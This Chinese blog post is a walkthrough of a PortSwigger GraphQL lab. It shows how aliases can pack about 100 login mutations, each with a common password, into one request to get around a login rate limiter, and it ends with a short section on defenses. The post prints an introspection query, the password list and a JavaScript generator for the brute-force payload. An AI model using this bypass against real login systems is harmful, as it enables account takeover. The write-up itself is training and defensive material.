利用别称突破GraphQL API请求限制进行暴力破解

Portswigger练兵场之GraphQL API

🦄利用别称突破GraphQL API请求限制进行暴力破解

Lab: Bypassing GraphQL brute force protections

实验前置必要知识点

GraphQL别名Aliases的概念
以下查询不会返回内容,因为同时查询了getProduct对象,GraphQL的对象不能包含多个同名属性,会报错

 #Invalid query

    query getProductDetails {
        getProduct(id: 1) {
            id
            name
        }
        getProduct(id: 2) {
            id
            name
        }
    }

如果要进行查询的话可以使用别名,别名可以通过显式命名希望API返回的属性来绕过此限制。可以使用别名在一个请求中返回同一类型对象的多个实例,这有助于减少所需的API调用数量。

    #Valid query using aliases

    query getProductDetails {
        product1: getProduct(id: "1") {
            id
            name
        }
        product2: getProduct(id: "2") {
            id
            name
        }
    }

在示例中,查询使用别名为两个产品指定唯一的名称,该查询通过验证,并返回详细信息。

使用带有突变的别名可以有效地在一个HTTP请求中发送多个GraphQL消息,用于突破API请求的限制

实验要求

该实验室的用户登录机制由GraphQL API提供支持。API端点有一个速率限制器,如果它在短时间内接收到太多来自同一源的请求,则会返回错误。

若要解决实验室问题,用暴力破解登录carlos用户名
123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow

渗透开始

  • 访问对应靶场界面
https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass
  • 启动靶场
1. 站点分析

这是博客类型的网站


存在查看博客的功能

存在一个登录端点

2. 寻找可疑功能点(查看Burp历史记录进行分析)

从总体来看,该站点进行了GraphQL的加载模式

因此,分析突破口为查询是否存在隐藏的例外

3. 功能点测试

将对应的日志信息发送到重放模块
尝试修改POST请求

{"query":"\n    mutation login($input: LoginInput!) {\n        login(input: $input) {\n            token\n            success\n        }\n    }","operationName":"login","variables":{"input":{"username":"aaa","password":"aaa"}}}

改为查询根内容

{
    "query": "{__schema{queryType{name}}}"
}

获得了根内容query


构造内容查询内部所有参数

{
    "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue }  } } }fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}

通过这种方法查询到了所有的参数


将内容发送到可视化工具,未发现什么有效的信息

4.寻找其他功能点

文章提示是登录端点存在速率限制,在登录接口发了5个包被锁定1分钟


我需要突破登录速度限制爆破登录账户
将刚才的登录GraphQL发送到重放模块


发现单次的请求如下

mutation {
	login(input:{password: "code*", username: "code*"}) {
		token
		success
	}
}

尝试修改,突破API请求限制


通过这个方法完美在一个http包中请求了2次,突破api请求次数限制
指定用户名为carlos
在这里实验室给我们提供了便捷的命令

copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
        token
        success
    }
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");

执行之后就会将内容复制到剪贴板中


发送成功之后找到true状态的就是密码

5.完成实验
bruteforce78:login(input:{password: "summer", username: "carlos"}) {
        token
        success
    }

利用成功获得密码登录完成实践

防御方法

除了校验API的数量之外,还要校验内部是否存在别称
对单个突变类型进行速率限制可能是一种有用的缓解措施,同时使用难以猜测的密码重置令牌。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值